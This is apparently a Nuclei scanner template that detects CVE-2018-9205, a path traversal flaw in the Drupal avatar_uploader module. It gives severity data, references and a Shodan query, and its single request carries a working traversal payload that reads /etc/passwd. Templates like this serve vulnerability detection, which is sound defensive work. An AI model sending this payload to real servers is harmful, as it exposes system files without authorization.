漏洞描述
In avatar_uploader v7.x-1.0-beta8 the view.php program doesn't restrict file paths, allowing unauthenticated users to retrieve arbitrary files.
id: CVE-2018-9205
info:
name: Drupal avatar_uploader v7.x-1.0-beta8 - Local File Inclusion
author: daffainfo
severity: high
description: In avatar_uploader v7.x-1.0-beta8 the view.php program doesn't restrict file paths, allowing unauthenticated users to retrieve arbitrary files.
remediation: Upgrade to the latest version of avatar_uploader.
reference:
- https://www.exploit-db.com/exploits/44501
- https://nvd.nist.gov/vuln/detail/CVE-2018-9205
- https://www.drupal.org/project/avatar_uploader/issues/2957966
- https://www.drupal.org/project/avatar_uploader
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-9205
cwe-id: CWE-22
epss-score: 0.8191
epss-percentile: 0.99161
cpe: cpe:2.3:a:drupal:avatar_uploader:7.x-1.0:beta8:*:*:*:*:*:*
metadata:
max-request: 1
vendor: drupal
product: avatar_uploader
shodan-query: http.component:"drupal"
tags: cve,cve2018,lfi,drupal,edb
http:
- method: GET
path:
- "{{BaseURL}}/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a0047304502201b6fb4e05bcaf873cd7f4412a92c7b17ac0fc9b6c60ef15d1810439908511e24022100e63bfb80a8e6d677eb3ac3681602afaf1af9f7e8575bd0f87a27c4cb28d2ecde:922c64590222798bb761d5b6d8e72950